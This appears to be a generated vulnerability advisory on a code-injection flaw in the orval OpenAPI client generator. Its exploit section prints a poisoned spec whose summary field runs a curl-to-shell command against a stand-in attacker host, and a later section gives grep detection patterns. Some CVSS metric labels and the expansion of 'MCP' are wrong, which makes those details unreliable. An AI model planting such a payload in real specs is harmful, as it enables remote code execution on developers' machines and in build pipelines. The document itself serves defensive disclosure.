Comprehensive Technical Analysis of EUVD-2026-2002 (CVE-2026-22785)

Vulnerability in orval OpenAPI Client Generation – Code Injection via Unsanitized Input

1. Vulnerability Assessment & Severity Evaluation

Vulnerability Overview

EUVD-2026-2002 (CVE-2026-22785) is a high-severity code injection vulnerability in orval, a TypeScript-based OpenAPI/Swagger client generator. The flaw stems from improper input validation and escaping of the summary field in OpenAPI v3/Swagger v2 specifications during MCP (Model-Controller-Provider) server generation.

An attacker can exploit this by crafting a malicious OpenAPI specification where the summary field contains arbitrary JavaScript/TypeScript code, which is then injected into generated client files without proper sanitization. This allows remote code execution (RCE) in the context of the application processing the generated client.

Severity Analysis (CVSS v4.0: 9.3)

The CVSS v4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) indicates:

• Attack Vector (AV:N): Exploitable remotely over a network.
• Attack Complexity (AC:L): Low complexity; no special conditions required.
• Attack Requirements (AT:N): No user interaction or privileges needed.
• Privileges Required (PR:N): No authentication required.
• User Interaction (UI:N): No user interaction needed.
• Vulnerable Component (VC:H): High impact on confidentiality, integrity, and availability.
• Subsequent System Impact (SC:N): No impact on downstream systems.
• Exploit Maturity: Likely weaponizable due to the simplicity of exploitation.

Key Takeaways:

• Critical severity due to RCE potential in generated clients.
• Low barrier to exploitation (no authentication, no user interaction).
• High impact on confidentiality, integrity, and availability if exploited.

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2. Potential Attack Vectors & Exploitation Methods

Exploitation Scenario

An attacker can exploit this vulnerability by:

1. Crafting a malicious OpenAPI/Swagger specification where the summary field contains JavaScript/TypeScript payloads (e.g., "; eval('malicious_code'); //).
2. Tricking a developer or CI/CD pipeline into generating a client using the poisoned specification (e.g., via a supply chain attack).
3. Executing arbitrary code when the generated client is imported and used in a Node.js/TypeScript environment.

Example Exploit Payload

A malicious OpenAPI specification (malicious-api.yaml):

openapi: 3.0.0
info:
  title: Malicious API
  version: 1.0.0
paths:
  /exploit:
    get:
      summary: "test\"; require('child_process').exec('curl http://attacker.com/shell.sh | sh'); //"
      responses:
        '200':
          description: Exploited

When processed by orval < 7.18.0, the generated client may include:

// Generated client code (simplified)
export const getExploit = () => {
  return {
    summary: "test"; require('child_process').exec('curl http://attacker.com/shell.sh | sh'); //",
    // ... rest of the generated code
  };
};

Result: The payload executes when the client is imported, leading to arbitrary command execution.

Attack Vectors

Vector	Description
Supply Chain Attack	Poisoning an OpenAPI spec in a public/private repository (e.g., GitHub, GitLab).
CI/CD Pipeline Poisoning	Injecting malicious specs into automated build processes.
Phishing Developers	Tricking developers into using a malicious API spec (e.g., via social engineering).
Dependency Confusion	Exploiting misconfigured package managers to pull a malicious spec.

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3. Affected Systems & Software Versions

Vulnerable Software

• Product: orval (OpenAPI/Swagger TypeScript client generator)
• Vendor: orval-labs
• Affected Versions: All versions prior to 7.18.0
• Fixed Version: 7.18.0 (commit 80b5fe73b94f120a3a5561952d6d4b0f8d7e928d)

Impacted Environments

• Development Environments: Any project using orval to generate TypeScript clients.
• CI/CD Pipelines: Automated build systems processing OpenAPI specs.
• Production Systems: If generated clients are deployed in server-side applications (e.g., Node.js backends).

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4. Recommended Mitigation Strategies

Immediate Actions

1. Upgrade to orval 7.18.0 or later (recommended fix).

   npm install orval@latest
   # or
   yarn add orval@latest
   

2. Audit Generated Clients:

   • Review all previously generated clients for suspicious code (e.g., eval, require('child_process')).
   • Use static analysis tools (e.g., eslint, semgrep) to detect injected payloads.

3. Input Validation & Sanitization:

   • If unable to upgrade, manually sanitize OpenAPI specs before processing.
   • Use OpenAPI validation tools (e.g., spectral, openapi-validator) to detect malicious fields.

Long-Term Protections

Mitigation	Description
Supply Chain Hardening	Enforce signature verification for OpenAPI specs (e.g., using cosign).
CI/CD Security	Scan OpenAPI specs in pipelines using SAST tools (e.g., Checkmarx, Snyk).
Least Privilege	Run orval in sandboxed environments (e.g., Docker containers with restricted permissions).
Monitoring & Logging	Log all OpenAPI spec processing events for anomaly detection.
Developer Training	Educate teams on secure API specification practices (e.g., avoiding untrusted specs).

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5. Impact on the European Cybersecurity Landscape

Regulatory & Compliance Implications

• GDPR (Art. 32 - Security of Processing): Organizations must ensure secure software development practices to prevent code injection vulnerabilities.
• NIS2 Directive: Critical infrastructure providers must patch high-severity vulnerabilities within defined timelines.
• EU Cyber Resilience Act (CRA): Mandates vulnerability disclosure and secure-by-design principles for software vendors.

Threat Landscape Considerations

• Increased Supply Chain Risks: OpenAPI-based attacks could target European SaaS providers, fintech, and government APIs.
• Exploitation in CI/CD Pipelines: Attackers may target European DevOps teams to inject backdoors via malicious specs.
• Cross-Border Impact: Since orval is widely used in global TypeScript ecosystems, European organizations may be collateral damage in broader attacks.

Recommended EU-Specific Actions

1. CERT-EU Coordination: European organizations should monitor CERT-EU advisories for related threats.
2. ENISA Guidelines: Follow ENISA’s secure software development frameworks to mitigate similar vulnerabilities.
3. National CSIRTs: Report exploitation attempts to national cybersecurity incident response teams (e.g., ANSSI, BSI, NCSC-NL).

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6. Technical Details for Security Professionals

Root Cause Analysis

• Vulnerable Code Path: The MCP server generation logic in orval concatenates the summary field directly into JavaScript string literals without escaping.
• Exploitation Primitive: The lack of context-aware escaping allows string termination (") and arbitrary code injection.
• Fix Commit (80b5fe7): Introduces proper escaping of OpenAPI fields using a template-safe string interpolation mechanism.

Exploitation Requirements

Requirement	Details
Attacker Knowledge	Basic understanding of OpenAPI specs and JavaScript injection.
Target Environment	Any system processing OpenAPI specs with orval < 7.18.0.
Exploit Delivery	Malicious OpenAPI spec (YAML/JSON) hosted on a public/private repository.
Execution Context	Node.js/TypeScript runtime where the generated client is imported.

Detection & Forensics

• Static Analysis:
  • Search for suspicious patterns in generated clients (e.g., eval, child_process, require).
  • Example grep command:

    grep -r "eval\|child_process\|require(" ./generated-clients/
    

• Dynamic Analysis:
  • Monitor outbound network connections from development/CI environments.
  • Use sandboxed execution to detect unexpected behavior.
• Log Analysis:
  • Check CI/CD logs for unusual OpenAPI spec processing.
  • Review npm/yarn audit logs for unexpected package updates.

Advanced Mitigation Techniques

1. Runtime Application Self-Protection (RASP):
   • Deploy Node.js RASP solutions (e.g., Sqreen, OpenRASP) to block code injection attempts.
2. OpenAPI Schema Validation:
   • Enforce strict schema validation before processing specs (e.g., using ajv).
3. Immutable Infrastructure:
   • Use immutable containers for client generation to prevent persistence of malicious payloads.
4. Zero-Trust for CI/CD:
   • Implement short-lived credentials and just-in-time access for build pipelines.

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Conclusion

EUVD-2026-2002 (CVE-2026-22785) represents a critical code injection vulnerability in orval with high exploitability and severe impact. European organizations must urgently patch affected systems, audit generated clients, and harden their API development pipelines to prevent exploitation.

Given the low barrier to exploitation and high potential for supply chain attacks, this vulnerability warrants immediate attention from security teams, DevOps engineers, and compliance officers. Proactive monitoring, input validation, and secure coding practices are essential to mitigate similar threats in the future.

For further details, refer to:

• GitHub Advisory (GHSA-mwr6-3gp8-9jmj)
• Fix Commit (80b5fe7)